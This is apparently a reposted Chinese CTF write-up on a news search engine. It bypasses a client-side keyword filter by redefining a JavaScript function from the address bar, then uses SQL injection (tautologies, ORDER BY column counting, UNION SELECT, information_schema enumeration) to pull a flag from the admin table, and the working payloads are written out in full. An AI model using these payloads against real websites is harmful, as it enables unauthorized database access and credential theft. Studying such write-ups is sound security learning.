1. 程式人生 > >前端過濾,搜索框註入案例

前端過濾,搜索框註入案例

結果 可用 字段 鏈接 失效 min 大數 防止 簡單

題目要求

題目源於一個比賽,要求找出數據庫中的flag字段的值。
給的題目環境是一個新聞搜索引擎。

技術分享
界面 技術分享
界面

開始滲透

哈集美馬修~

1.sql註入檢測,試探該網站有沒有sql註入漏洞。

首先猜測sql執行語句為:
select [字段1,字段2...字段n] from [表名] where [內容字段] like ‘%關鍵詞%‘ [...]
中括號[]標識的都是未知內容。
所謂檢測就是在where後面的條件上做文章,改變其邏輯,讓其恒為真。

嘗試在關鍵詞中寫1‘ or ‘1‘=‘1‘#(其中#為mysql的單行註釋符,旨在去掉sql語句後面的邏輯,不同的數據庫實現可能有些許不同)
試圖將sql語句改變為:
select [字段] from [表名] where [內容字段] like ‘%1‘ or ‘1‘=‘1‘#%‘ [...]


#符號後面的語句被註釋掉了,並且where條件因為被加上 or ‘1‘=‘1‘所以恒為真。
所以該sql等價於:select 字段 from 表

此時點擊搜索按鈕,只要有內容被查出,說明該網站是有sql註入漏洞的。

2.越過頁面js腳本。

然而,在我點擊了搜索按鈕之後,得到的只是一個警告框。

技術分享
警告框

不急,這雖然證明該網站做了針對sql註入的防備,但不能說明防備是有效的。
反而對於我來說這是一件可慶幸的事,說明該網站很有可能采用的是拼接sql的方式,為了防止sql註入而做了敏感字符過濾。

現在找到彈框的js代碼才是最重要的。
右鍵頁面,打開網頁源代碼。喜從中來。

技術分享
網頁中的js腳本 技術分享

搜索按鈕

邏輯似乎已經看出來了,點擊搜索後,獲取關鍵詞內容,對關鍵詞內容進行敏感字符過濾。

這個過濾是在前端進行的,所以形同虛設。雖然這個是一開始就加載了的代碼,修改它不會起作用,但是可以采用地址欄執行js的方式,對這個函數進行重寫。
清空地址欄,輸入javascript:前綴,給一個空格之後就可以寫要執行的js代碼了,直接定義一個名稱為myFunction的函數,這個函數什麽都不做,回車。

技術分享
重寫js函數

然後再次進行sql註入探測。

技術分享
搜索結果

果了個然的查出了新聞記錄。
證明此網站確是存在sql註入漏洞的。

3.探測select字段個數

我的目的很明確,找到數據庫中的flag字段,這個字段可能是在這個新聞表裏面,也可能在別的表裏面。這些之後慢慢爆。
現在有個問題,怎樣才知道想要的信息,也就是說,怎樣才能讓它把我想要的信息打印在頁面上。
通過firebug知曉了,點擊搜索後並不是發送的異步請求,所以頁面上的輸出是在後端就已經搞定了的。

神器一:union關鍵字
union關鍵字,這個關鍵字可以將兩個查詢結果以一個結果集返回。這簡直是神器。不過需要知道他的select語句裏面查詢了多少個字段,因為union連接的兩個查詢結果列數必需相等。

神器二:order by關鍵字
這就要用到另一個神器 order by。因為order by後面可以接數字,表示結果按select的第幾個字段進行排序。

猜測一下,因為頁面上顯示的每個新聞信息有3個字段,所以很有可能,select語句所查詢的就是這3個字段。不過為了嚴謹,還是用order by來驗證一下。

關鍵詞輸入框輸入:1‘ or ‘1‘=‘1‘ order by 3#
等價sql語句:select [字段] from [表名] order by 3

技術分享
查詢結果


有數據,說明字段數>=3

關鍵詞輸入框輸入:1‘ or ‘1‘=‘1‘ order by 4#
等價sql語句:select [字段] from [表名] order by 4

技術分享
查詢結果


無數據,此時後臺sql一定是報錯了,說明字段數<4
綜上,3<=字段數<4,得出字段數=3。

4.在頁面上輸出自己想要輸出的內容。

用order by知道了字段數,就可以動用union神器了。
用union時除了知道字段數,還需要知道字段類型,但是這個很簡單,觀察列表列出的值就大概清楚。

關鍵詞輸入框輸入:1‘ and 1=2 union select 20,‘JerryL‘,‘hahaha‘#
等價sql語句:select 20,‘JerryL‘,‘hahaha‘(由於where恒為假,所以前面的查詢一定沒有結果,結果只可能是後面的查詢)

技術分享
查詢結果

結果沒問題。

5.找表,找字段

現在已經能夠自由的操作頁面的顯示了,只需要找到flag所在的表,就可以完成任務。

列出當前數據庫所有表
其實mysql把所有的表、視圖、函數等信息都放到了information_schema這個數據庫中,而所有表的信息在information_schema.TABLES這個表中。這就表示,只要知道了數據庫類型是mysql,就可以用這個表來查詢所有數據庫,所有表的信息。

還需要用到一個函數database(),這個函數返回當前web程序使用的數據庫的名稱。
於是..

關鍵詞輸入框輸入:1‘ and 1=2 union select 20,‘JerryL‘,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database()#
等價sql語句:select 20,‘JerryL‘,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database()

技術分享
當前數據庫所有表

可以看到這個數據庫裏面有兩張表,一張admin,一張news。不過我們需要的是表名和字段名,所以只有表名是不夠的。

列出指定表中所有字段名
有困難,找information_schema。
在information_schema庫裏面的COLUMNS表中,有所有的字段信息。
關鍵詞輸入框輸入:1‘ and 1=2 union select 20,TABLE_NAME,COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=database()#
等價sql語句:select 20,TABLE_NAME,COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=database()#

技術分享
查詢結果

真相大白。

6.執行最後任務,拿出flag

關鍵詞輸入框輸入:1‘ and 1=2 union select 20,username,flag from admin#
等價sql語句:select 20,username,flag from admin

技術分享
得到flag

技巧總結

1.sql註入探測,嘗試通過參數修改sql where語句的邏輯,使其恒為真,執行後看邏輯是否被修改成功,從而判定是否有註入點。

2.頁面上的js幾乎都是形同虛設的,總有辦法讓其失效,常用的就是瀏覽器地址欄輸入:javascript: js代碼。用js代碼的執行來為一些變量賦值,或者重寫函數。

3.用order by探測字段個數,知道個數後,用union輸出自己想要的內容。

4.各大數據庫實現都提供了許多可用的函數和元數據表等,這些都是很有用的工具。

關於sql預編譯

個人理解,sql預編譯不能完全解決sql註入的問題,他的作用僅僅是將敏感字符的處理從後端代碼交給了數據庫軟件。
也就是說,如果使用的數據庫軟件本身的實現是有漏洞的,那麽照樣可以進行sql註入。不過主流的數據庫軟件應該都是可靠的,所以程序中盡量采用sql預編譯。



作者:JerryL_
鏈接:http://www.jianshu.com/p/d6199ed057eb
來源:簡書
著作權歸作者所有。商業轉載請聯系作者獲得授權,非商業轉載請註明出處。

前端過濾,搜索框註入案例